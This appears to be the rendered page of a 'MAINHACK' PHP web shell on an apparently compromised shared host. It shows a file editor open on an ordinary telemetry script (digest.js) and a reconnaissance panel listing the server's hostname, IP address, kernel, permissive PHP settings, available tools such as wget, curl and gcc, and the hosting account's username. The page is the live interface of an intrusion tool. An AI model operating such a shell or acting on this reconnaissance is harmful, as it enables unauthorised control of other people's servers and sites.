[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: digest.js
import { AI_HOST } from '@constants'; import { reqDataBasics } from '@shared/lib/data'; // ctx, can be any extra data you want to pass to the digest for better insights, e.g. { function: 'handleSiteLogo' } export const digest = ({ type = 'error', error, details = {} } = {}) => { if (Boolean(reqDataBasics?.devbuild) === true) return; const extra = { userAgent: window?.navigator?.userAgent, vendor: window?.navigator?.vendor || 'unknown', platform: window?.navigator?.userAgentData?.platform || window?.navigator?.platform || 'unknown', mobile: window?.navigator?.userAgentData?.mobile, width: window.innerWidth, height: window.innerHeight, screenHeight: window.screen.height, screenWidth: window.screen.width, orientation: window.screen.orientation?.type, touchSupport: 'ontouchstart' in window || navigator.maxTouchPoints > 0, }; const errorData = ((e) => { if (!e) return { message: 'Unknown error', name: 'Error', stack: '' }; if (e instanceof Response) return { message: `HTTP ${e.status}: ${e.statusText}`, name: 'FetchError', stack: '', }; return { message: e?.response?.statusText || e?.response?.message || e?.statusText || e?.message || (typeof e === 'string' ? e : 'Unknown error'), name: e?.name || 'Error', }; })(error); const payload = JSON.stringify({ ...reqDataBasics, siteProfile: { type: reqDataBasics?.siteProfile?.type, title: reqDataBasics?.siteProfile?.title, description: reqDataBasics?.siteProfile?.description, descriptionRaw: reqDataBasics?.siteProfile?.descriptionRaw, objective: reqDataBasics?.siteProfile?.objective, category: reqDataBasics?.siteProfile?.category, structure: reqDataBasics?.siteProfile?.structure, imageSearchTerms: reqDataBasics?.siteProfile?.imageSearchTerms, }, ...details, error: errorData, type, extra, }); return fetch(`${AI_HOST}/api/digest`, { method: 'POST', headers: { 'Content-Type': 'application/json', Accept: 'application/json', 'X-Extendify': 'true', }, body: payload, keepalive: true, }).catch(() => {}); };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.67 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830